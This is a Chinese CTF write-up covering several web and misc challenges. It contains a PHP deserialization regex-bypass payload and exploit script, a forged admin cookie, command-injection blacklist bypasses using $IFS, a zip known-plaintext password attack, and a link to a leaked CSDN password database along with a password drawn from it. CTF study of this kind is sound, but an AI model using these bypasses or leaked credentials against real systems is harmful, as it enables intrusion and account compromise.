美文网首页CTF比赛解题报告整理
安恒杯12月月赛解题报告

安恒杯12月月赛解题报告

作者: 蓝小俊 | 来源:发表于2019-01-18 20:28 被阅读53次

    WEB

    easy

    • 题目描述
    <?php  
    @error_reporting(1); //会返回当前的错误报告级别
    include 'flag.php';
    class baby 
    {   
        public $file;
        function __toString()      
        {          
            if(isset($this->file)) //检测变量是否已设置并且非 NULL
            {
                $filename = "./{$this->file}";        
                if (file_get_contents($filename))  //file_get_contents — 将整个文件读入一个字符串,返回文件内容或者在失败时返回 FALSE.     
                {              
                    return file_get_contents($filename); 
                } 
            }     
        }  
    }  
    if (isset($_GET['data']))  
    { 
        $data = $_GET['data'];
        preg_match('/[oc]:\d+:/i',$data,$matches);  //$matches填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
        if(count($matches))
        {
            die('Hacker!');
        }
        else
        {
            $good = unserialize($data);
            echo $good;
        }     
    } 
    else 
    { 
        highlight_file("./index.php"); 
    } 
    ?>
    
    • 考点

      1. WEB序列化知识
      2. 基础正则绕过
      3. 序列化读文件
    • 解题步骤
      1.阅读源码,发现关键匹配函数

    preg_match('/[oc]:\d+:/i',$data,$matches);
    

    说明:[ 符号标记一个中括号表达式的开始,表达式的结尾处的不区分大小写 i 标记指定不区分大小写。
    匹配规则:匹配了[oc]:
    绕过匹配参考资料:https://blog.spoock.com/2016/11/03/php-wakeup/

    所以只需要只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。

    O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
    

    但如果直接传值的话会,服务器接收到+号会被自动解码为空格,所以要对加号url编码:

    O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
    

    访问:
    即可得到flag:http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

    flag.png
    • exp
    <?php
    class baby
    {
        public $file='./flag.php';
    }
    $a = new baby();
    //echo serialize($a);
    echo urlencode('O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}');
    
    • 补充:

    当对一个对象序列化时,php就会调用__sleep方法(如果存在的话),在反序列化时,php就会调用__wakeup方法(如果存在的话),以此可以判断是否序列化成功
    魔术方法__sleep(),__wakeup() - kacha886 - 博客园 https://www.cnblogs.com/kacha886/p/9115503.html
    特别注意php7和php5的区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。

    <?php
    class baby
    {
        public $file='./flag.php';
        function __wakeup(){
            echo 'Hello';
        }
    }
    $a = new baby();
    $b=serialize($a);
    $b='O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}';
    unserialize($b);
    

    WEB2

    • 解题步骤

      扫一下目录,发现了一个admin.php,但是进去却回显You are not admin...,同时访问发现cookie中存在user项,然后解码base64 ,发现是user ,于是构造admin的base64 编码 请求头.png
      替换进入管理员页面:
      admin.png
      进入后台,应该是个命令执行漏洞,但是过滤了很多符号: ls命令.png
      发现通过命令cat<admin.php可以读取文件:
      cat<admin.php.png
      尝试读取源代码如下:
    • admin.php
    <?php
    include 'config.php';
    if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
        die("You are not admin...");
    }
    if (@$_POST['cmd']) {
        $cmd = waf_exec($_POST['cmd']);
        $retval = array();
        exec($cmd, $retval, $status);
        // var_dump($retval);
        if ($status == 0) {
            $res = implode("\n",$retval);
        }else{
            $res = 'error';
        }
    }else{
        $res = '';
    }
    
    include './templates/admin.html';
    
    • config.php
    <?php
    session_start();
    
    function waf_exec($str){
        $black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
            $str = preg_replace($black_str, "",$str);
            return $str;
        }
    

    解题关键是如何绕过这个黑名单去读到flag,这里过滤了;&>{}%#?!@+还有空格都过滤了,但是$以及/都没被过滤,可以很好地执行命令,使用$IFS绕过空格,然后可以使用ls$IFS/查看上一级目录,最终cat$IFS/ffLAG_404命令得到flag

    flag.png

    知识点补充:
    1.cookie和session :http://www.k0rz3n.com/2017/07/30/cookie/
    2.bash命令执行常见绕过:https://www.jianshu.com/p/000a4ad1b933

    MISC

    签到题

    • 解题步骤
      按照提示回复关键词即可


      签到题.png

    JUJU

    • 题目描述


      image.png
    • 解题步骤
    1. 题目中提到11只juju,但是实际只有7只
      JUJU.png
      因此考虑图片显示不完全,16进制打开,修改长宽,02 38 改为04 38 显示完全
      winhex.png
      image.png
      得到字符串MZWGCZ33GQZTQMTEM5SGMMTEPU======,其中6等于号特征推测为base32(等于号在base编码中是补位的作用)
      通过解码得到flag:a213072327f762855e475779eb081ca3

    学习资料

    • 解题步骤
    1. 附件有两个,且其中一个和压缩文件中同名
    2. 压缩文件存在密码,考虑明文攻击


      image.png
    3. 压缩后crc32一致,可以进行明文攻击,使用AZPR进行破解,拿到压缩密码:1qazmko098
      image.png

    特别说明:有些没爆破出来可能是用ARCHPR4.5.4进行的爆破,该版本进行明文攻击会有问题,建议使用ARCHPR4.5.3 ,另外使用不同的压缩软件压缩备忘录.txt也会导致最后无法找到明文

    4.解压打开word,发现没啥东西,但是想到题目描述学习资料下的真实的东西,可能在图片下;移除图片还是没东西,考虑word的字符串设置了隐藏,因此在word设置中,勾线显示隐藏字符串即可看到flag Word.png
    flag.png

    也可以把docx的改后缀为zip,解压后在/word/document.xml里可见flag.

    参考资料:CTF中压缩包解密的几种常见方式 - blus - CSDN博客 https://blog.csdn.net/q851579181q/article/details/84944900
    ZIP明文攻击获得加密压缩包内文件_百度经验 https://jingyan.baidu.com/article/0f5fb0990bba086d8334eaf6.html
    破解压缩包的几种方式(zip伪加密 爆破 CRC32碰撞 已知明文攻击) - 淚笑 - 博客园 https://www.cnblogs.com/leixiao-/p/9824557.html

    变换的指纹

    下载到社工库:ed2k://|file|www.csdn.net.sql|287238395|7C81CC2A2B57411BD107ACFF2BA8DDEE|/
    提取密码进行爆破,正确密码是双引号中的内容:“!(()!@)6125dou ”,注意密码结尾有个空格。

    指纹.gif
    通过图片获得字符串:
    23685 28276158 52365 72716835687172857481317
    23685528276158852365572716835687172857481317
    因为提示8进制:
    [23,70,55,30,27,61,60,105,23,65,57,27,16,103,56,107,17,30,57,50,13,17]
    后面还差一步,未完待续

    相关文章

      网友评论

        本文标题:安恒杯12月月赛解题报告

        本文链接:https://www.haomeiwen.com/subject/zvcodqtx.html